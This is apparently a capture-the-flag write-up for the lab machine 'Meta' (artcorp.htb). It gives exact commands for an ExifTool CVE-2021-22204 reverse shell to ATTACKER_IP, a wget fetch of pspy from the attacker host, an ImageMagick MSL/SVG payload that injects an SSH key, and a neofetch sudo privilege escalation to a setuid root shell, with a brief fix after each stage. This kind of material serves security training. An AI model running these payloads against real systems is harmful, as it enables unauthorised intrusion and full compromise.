Meta
Summary
The target ($TARGET, artcorp.htb) exposed Apache on port 80. Virtual-host enumeration uncovered a development subdomain, dev01.artcorp.htb, hosting an image-metadata viewer powered by ExifTool 12.23 — a version vulnerable to arbitrary code execution via a malformed DjVu file (CVE-2021-22204). A crafted image uploaded to the viewer triggered a reverse shell as the web-server account (www-data).
From that foothold, process-monitoring with pspy revealed a periodic cron job running ImageMagick's convert as the local user thomas against a directory the web account could write to. Exploiting ImageMagick CVE-2020-29599 through a polyglot SVG/MSL file dropped into that directory caused the cron to inject I SSH public key into thomas's authorized_keys, yielding a user-level shell and the user flag. Inspecting thomas's sudo privileges showed he could run /usr/bin/neofetch as root with the environment variable XDG_CONFIG_HOME preserved.
Because neofetch sources its config.conf as a Bash script, supplying a malicious config pointed to by XDG_CONFIG_HOME caused it to execute my own shell commands as root, giving full system compromise and the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 4
nmap -sC -sV -oA meta $TARGETecho "$TARGET artcorp.htb dev01.artcorp.htb" | sudo tee -a /etc/hostsffuf -u http://artcorp.htb/ -H 'Host: FUZZ.artcorp.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200 -fs 0curl -s http://dev01.artcorp.htb/metaview/composer.jsonExact commands 4
git clone https://github.com/convisolabs/CVE-2021-22204-exiftool /opt/cve-2021-22204 && cd /opt/cve-2021-22204sed -i "s/IP = .*/IP = '$ATTACKER_IP'/" exploit.py && sed -i 's/PORT = .*/PORT = 9001/' exploit.py && python3 exploit.pync -lvnp 9001curl -s -F 'file=@/opt/cve-2021-22204/image.jpg' http://dev01.artcorp.htb/metaview/FixUpgrade ExifTool to 12.24 or later to eliminate CVE-2021-22204Critical
Exact commands 4
python3 -m http.server 8080wget http://$ATTACKER_IP:8080/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64 -p -i 500cat /usr/local/bin/convert_images.shls -la /var/www/dev01.artcorp.htb/convert_images/Exact commands 4
ssh-keygen -t rsa -b 4096 -f /tmp/thomas_key -N '' && cat /tmp/thomas_key.pubcat > /var/www/dev01.artcorp.htb/convert_images/inject01.svg << 'SVGEOF'
<image authenticate='ff" `-e "mkdir -p /home/thomas/.ssh && echo PASTE_PUB_KEY_HERE >> /home/thomas/.ssh/authorized_keys";"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="/tmp/out.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:/var/www/dev01.artcorp.htb/convert_images/inject01.svg" height="0" width="0"></image>
</svg>
</image>
SVGEOFssh -i /tmp/thomas_key thomas@$TARGETcat /home/thomas/user.txtFixPatch ImageMagick and isolate the image-conversion cron from web-writable directoriesHigh
Exact commands 5
sudo -lmkdir -p /tmp/.neoconf/neofetch && printf 'cp /bin/bash /tmp/bash_root && chmod +s /tmp/bash_root\n' > /tmp/.neoconf/neofetch/config.confsudo XDG_CONFIG_HOME=/tmp/.neoconf /usr/bin/neofetch/tmp/bash_root -pcat /root/root.txtFixRemove XDG_CONFIG_HOME from the neofetch sudo rule's env_keep listHigh
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 80/tcp | http Apache httpd |